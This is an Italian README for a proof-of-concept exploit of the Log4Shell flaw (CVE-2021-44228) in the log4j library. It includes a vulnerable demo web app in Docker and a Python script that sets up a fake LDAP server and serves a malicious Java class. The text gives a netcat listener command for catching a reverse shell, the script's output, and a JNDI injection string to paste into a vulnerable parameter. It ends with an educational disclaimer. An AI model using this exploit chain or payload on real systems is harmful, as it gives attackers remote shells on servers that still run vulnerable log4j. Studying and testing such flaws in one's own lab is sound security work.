
Una prova di concetto per la vulnerabilità CVE-2021-44228.
Una Proof-Of-Concept per la recente vulnerabilità CVE-2021-44228.
Recentemente è stata scoperta una nuova vulnerabilità in log4j, una libreria di logging Java ampiamente utilizzata in software come elasticsearch, minecraft e molti altri.
In questo repository abbiamo creato un'applicazione vulnerabile di esempio e un exploit proof-of-concept (POC) per essa.
Vuln Web App:
Ghidra (vecchio script):
Minecraft PoC (vecchio script):
Come PoC abbiamo creato un file Python che automatizza il processo.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20, e trovarsi nella stessa directory.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
Questo script configurerà per te il server HTTP e il server LDAP, e creerà anche il payload che potrai incollare nel parametro vulnerabile. Dopodiché, se tutto è andato bene, dovresti ottenere una shell sulla porta locale (lport).
Abbiamo aggiunto un Dockerfile con l'applicazione web vulnerabile. Puoi usarlo seguendo i passaggi seguenti:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
Una volta in esecuzione, puoi accedervi su localhost:8080
Se desideri sviluppare ulteriormente il progetto, puoi usare l'IDE Intellij che abbiamo usato per svilupparlo. Abbiamo incluso anche una cartella .idea con file di configurazione che rendono il lavoro un po' più semplice. Probabilmente puoi usare anche altri IDE.
Al momento della creazione dell'exploit non eravamo sicuri di quali versioni di Java funzionassero e quali no, quindi abbiamo scelto di lavorare con una delle versioni più vecchie di Java 8: java-8u20.
Per fortuna Oracle fornisce un archivio per tutte le versioni precedenti di Java:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Scorri fino a 8u20 e scarica i file appropriati per il tuo sistema operativo e hardware.

Nota: Devi creare un account per poter scaricare il pacchetto.
Una volta scaricato ed estratto l'archivio, puoi trovare java e alcuni binari correlati in jdk1.8.0_20/bin.
Nota: Assicurati di estrarre la cartella JDK in questo repository con lo stesso nome affinché funzioni.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Questo repository non è inteso come exploit one-click per CVE-2021-44228. Lo scopo di questo progetto è aiutare le persone a imparare a conoscere questa fantastica vulnerabilità e, magari, testare le proprie applicazioni (tuttavia esistono applicazioni migliori per questo scopo, ad esempio: https://log4shell.tools/).
Il nostro team non aiuterà né approverà alcun uso di questo exploit per attività dannose, pertanto se chiedi aiuto potrebbe esserti richiesto di fornirci una prova che possiedi il servizio target o che hai i permessi per eseguire test di penetrazione su di esso.